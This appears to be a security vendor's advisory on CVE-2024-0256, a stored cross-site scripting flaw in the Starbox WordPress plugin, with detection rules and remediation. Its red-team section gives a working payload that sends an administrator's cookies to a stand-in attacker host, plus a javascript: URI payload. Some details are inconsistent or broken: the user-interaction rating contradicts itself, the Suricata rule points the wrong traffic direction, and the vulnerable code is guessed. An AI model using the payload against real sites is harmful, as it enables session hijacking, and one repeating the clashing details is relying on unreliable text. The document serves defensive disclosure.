CVE-2024-0256

Executive Summary

CVE-2024-0256 is a Stored Cross-Site Scripting (XSS) vulnerability in the Starbox plugin for WordPress, affecting all versions up to and including 3.4.8. The flaw resides in the plugin’s handling of the Profile Display Name and Social Settings fields. Due to insufficient input sanitization and output escaping, authenticated attackers with subscriber-level access or higher can inject arbitrary web scripts. These scripts execute whenever a user (including administrators) accesses a page containing the injected content, such as author boxes or profile pages.

This vulnerability is classified as a WordPress ecosystem issue. The attack vector is network-based, requires low complexity, and only low privileges (subscriber), but does require user interaction to trigger the stored payload. The CVSS v3.1 base score is 6.4 (Medium), with a scope change indicating the compromised component impacts resources beyond its original security scope.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs subscriber-level access.
• User Interaction (UI): None (N) – The payload executes automatically when the page is viewed.
• Scope (S): Changed (C) – The vulnerable component (Starbox) impacts the broader WordPress application.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation (e.g., session hijacking, admin credential theft) makes this a significant risk for multi-user WordPress sites.

Deep Dive & Mechanics

The Starbox plugin generates author boxes and social media links for user profiles. The vulnerability exists in two input fields:

1. Profile Display Name – Used to customize the author’s display name.
2. Social Settings – URLs or handles for social media profiles.

The plugin fails to properly sanitize user-supplied input before storing it in the database and fails to escape output when rendering these fields on the frontend. An attacker with subscriber-level access can inject JavaScript payloads into these fields. When an administrator or other user visits a page that displays the author box (e.g., a post by the attacker), the injected script executes in the context of the victim’s browser.

Attack Flow:

1. Attacker registers as a subscriber (or higher role).
2. Attacker navigates to their profile settings in the WordPress admin panel.
3. Attacker injects a malicious script into the Profile Display Name or Social Settings field (e.g., <script>alert('XSS')</script>).
4. The payload is stored in the WordPress database.
5. When an admin or other user views a post authored by the attacker, the Starbox plugin renders the injected script.
6. The script executes, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Starbox <= 3.4.8): The plugin likely uses echo or print without escaping, or uses esc_html() incorrectly. For example:

// Vulnerable: Direct output without escaping
echo '<div class="sbox-display-name">' . $display_name . '</div>';

Patched Code (Hypothetical): A proper fix would use esc_html() or wp_kses() to sanitize output:

// Patched: Escaped output
echo '<div class="sbox-display-name">' . esc_html( $display_name ) . '</div>';

Since no official patch is available, users must manually apply input validation and output escaping.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Starbox plugin <= 3.4.8.
• Attacker account with subscriber-level access.

Steps:

1. Log in as a subscriber.
2. Go to Users > Profile.
3. In the "Profile Display Name" field, enter:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the profile.
5. Create a new post (or use an existing one) and publish it.
6. When an admin views the post, the script executes and sends the admin’s cookies to the attacker’s server.

Alternative Payload (Social Settings):

<a href="javascript:alert('XSS')">Click me</a>

Blue Team (Detection & Hardening)

Detection:

• Monitor for suspicious profile updates by low-privileged users.
• Look for <script> tags or javascript: URIs in user meta fields.
• Use Web Application Firewall (WAF) rules to block XSS payloads in profile fields.

Hardening:

• Disable the Starbox plugin until a patch is released.
• Restrict subscriber-level users from editing their profiles (if feasible).
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use a WordPress security plugin that monitors file changes and user activity.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Suspicious POST requests to /wp-admin/profile.php with encoded JavaScript.
• Host IOCs:
  • User meta entries in wp_usermeta containing <script> tags.
  • Modified author box HTML in cached pages.
• Log IOCs:
  • Repeated profile update events from the same IP.
  • Error logs showing unescaped HTML output.

Detection Engineering

YARA Rule

rule CVE_2024_0256_Starbox_XSS {
    meta:
        description = "Detects stored XSS payloads in Starbox plugin user meta"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0256"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $starbox_meta = /sbox_display_name|sbox_social_links/
    condition:
        $starbox_meta and $xss_payload
}

Sigma Rule

title: CVE-2024-0256 Starbox Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in Starbox plugin via profile updates
author: Valters IT
logsource:
    product: wordpress
    service: user_profile_update
detection:
    selection:
        EventID: 4000  # WordPress user profile update event
        UserRole: subscriber
        ProfileField|contains: 
            - '<script'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in profile fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0256 Starbox Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/profile.php"; http_uri; content:"sbox_display_name"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Starbox plugin until a patched version is released.
2. Audit user profiles for any injected scripts and remove them.
3. Reset all user sessions to invalidate any stolen cookies.

Long-term Fixes:

• Apply input validation and output escaping to all user-supplied fields.
• Use WordPress’s built-in esc_html(), esc_attr(), and wp_kses() functions.
• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Regularly update all plugins and themes.

Workaround:

• If the plugin cannot be disabled, restrict subscriber-level users from editing their profiles via a custom function:

  add_action( 'admin_init', function() {
      if ( current_user_can( 'subscriber' ) ) {
          remove_menu_page( 'profile.php' );
      }
  } );
  

Valters IT
Securing Digital Frontiers